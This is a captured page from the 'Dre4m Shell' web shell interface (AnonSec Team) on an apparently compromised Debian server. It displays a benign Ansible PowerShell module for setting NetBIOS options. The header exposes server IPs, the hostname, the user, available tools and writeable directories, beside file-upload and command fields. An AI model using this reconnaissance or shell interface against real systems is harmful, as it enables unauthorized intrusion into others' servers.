Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.145.2.192
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/windows/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/windows/plugins/modules//win_netbios.ps1
#!powershell

# Copyright: (c) 2019, Thomas Moore (@tmmruk) <hi@tmmr.uk>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

#AnsibleRequires -CSharpUtil Ansible.Basic

$spec = @{
    options = @{
        state = @{ type = "str"; choices = "enabled", "disabled", "default"; required = $true }
        adapter_names = @{ type = "list"; elements = "str"; required = $false }
    }
    supports_check_mode = $true
}

$module = [Ansible.Basic.AnsibleModule]::Create($args, $spec)
$module.Result.reboot_required = $false

$state = $module.Params.state
$adapter_names = $module.Params.adapter_names

switch ( $state ) {
    'default' { $netbiosoption = 0 }
    enabled { $netbiosoption = 1 }
    disabled { $netbiosoption = 2 }
}

if (-not $adapter_names) {
    # Target all network adapters on the system
    $get_params = @{
        ClassName = 'Win32_NetworkAdapterConfiguration'
        Filter = 'IPEnabled=true'
        Property = @('MacAddress', 'TcpipNetbiosOptions')
    }
    $target_adapters_config = Get-CimInstance @get_params
}
else {
    $get_params = @{
        Class = 'Win32_NetworkAdapter'
        Filter = ($adapter_names | ForEach-Object -Process { "NetConnectionId='$_'" }) -join " OR "
        KeyOnly = $true
    }
    $target_adapters_config = Get-CimInstance @get_params | Get-CimAssociatedInstance -ResultClass 'Win32_NetworkAdapterConfiguration'
    if (($target_adapters_config | Measure-Object).Count -ne $adapter_names.Count) {
        $module.FailJson("Not all of the target adapter names could be found on the system. No configuration changes have been made. $adapter_names")
    }
}

foreach ($adapter in $target_adapters_config) {
    if ($adapter.TcpipNetbiosOptions -ne $netbiosoption) {
        if (-not $module.CheckMode) {
            $result = Invoke-CimMethod -InputObject $adapter -MethodName SetTcpipNetbios -Arguments @{TcpipNetbiosOptions = $netbiosoption }
            switch ( $result.ReturnValue ) {
                0 { <# Success no reboot required #> }
                1 { $module.Result.reboot_required = $true }
                100 {
                    $msg = "DHCP not enabled on adapter $($adapter.MacAddress). Unable to set default. Try using disabled or enabled options instead."
                    $module.Warn($msg)
                }
                default {
                    $msg = "An error occurred while setting TcpipNetbios options on adapter $($adapter.MacAddress). Return code $($result.ReturnValue)."
                    $module.FailJson($msg)
                }
            }
        }
        $module.Result.changed = $true
    }
}

$module.ExitJson()

Anon7 - 2022
AnonSec Team